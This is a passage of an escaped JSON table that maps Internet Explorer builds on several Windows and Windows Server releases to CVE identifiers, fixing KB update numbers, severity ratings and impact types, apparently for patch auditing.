Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471318\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471318\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525235\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003233\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197874\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048958\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8594\",\"kb\":\"4025336\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025336\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034681\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034681\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074594\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4339093\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4339093\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343898\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343898\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471320\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471320\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471320\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525243\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003209\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197874\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048958\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8594\",\"kb\":\"4025336\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025336\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034681\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034681\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074594\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4339093\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4339093\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343898\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343898\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471320\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471320\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471320\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525243\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003209\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows RT 8.1\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197874\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048958\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4054519\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4054519\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4054519\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4054519\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8594\",\"kb\":\"4025336\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025336\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034681\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034681\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074594\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338815\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338815\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343898\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343898\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467697\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471320\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471320\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471320\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525243\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537821\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003209\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048957\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025341\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034664\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034664\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074598\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088875\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088875\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103718\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338818\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338818\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343900\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471318\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471318\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471318\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480970\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493472\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525235\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003233\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows Server 2012\":[{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525106\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537814\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003208\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197874\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012204\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048958\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8594\",\"kb\":\"4025336\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025336\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034681\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034681\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074594\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088876\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088876\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103725\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4339093\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4339093\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343898\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343898\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471320\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471320\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471320\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480963\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493446\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525243\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003209\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows Server 2016\":[{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013429\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4013429\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041691\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041691\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048953\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053579\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025339\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034658\",\"severity\":\"Low\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034658\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034658\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088787\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088787\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103723\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338814\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338814\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343887\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467691\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471321\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471321\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471321\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480961\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493470\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525236\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537764\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003197\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows Server 2019\":[{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467708\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471332\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471332\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471332\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480116\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493509\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4523205\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532691\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003171\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 9 on Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4047206\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code 